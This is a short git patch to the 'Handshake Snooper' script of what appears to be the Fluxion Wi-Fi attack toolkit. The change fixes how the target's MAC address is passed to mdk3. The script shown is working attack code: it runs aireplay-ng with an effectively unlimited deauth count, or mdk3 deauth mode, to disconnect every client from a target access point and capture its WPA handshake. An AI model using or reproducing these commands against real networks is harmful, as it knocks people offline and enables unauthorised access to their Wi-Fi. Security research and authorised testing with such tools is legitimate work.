From b4d1643b79c1e793c6665490fbffeb29845d8bec Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Tue, 8 Aug 2017 15:55:24 -0500 Subject: [PATCH] Fixed an issue with the mdk3 deauthenticator. --- attacks/Handshake Snooper/attack.sh | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/attacks/Handshake Snooper/attack.sh b/attacks/Handshake Snooper/attack.sh index 5eb7ca3..2cbb979 100755 --- a/attacks/Handshake Snooper/attack.sh +++ b/attacks/Handshake Snooper/attack.sh @@ -64,12 +64,18 @@ function handshake_stop_deauthenticator() { function handshake_start_deauthenticator() { if [ "$HANDSHAKEDeauthenticatorPID" ]; then return 0; fi + # Prepare deauthenticators + case "$HANDSHAKEMethod" in + "mdk3"*) echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst + esac + + # Start deauthenticators. case "$HANDSHAKEMethod" in "aireplay-ng"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ aireplay-ng --deauth=9999999999 -a $APTargetMAC --ignore-negative-one $WIMonitor & HANDSHAKEDeauthenticatorPID=$!;; "mdk3"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \ - mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3.txt -c $APTargetChannel & + mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel & HANDSHAKEDeauthenticatorPID=$!;; esac }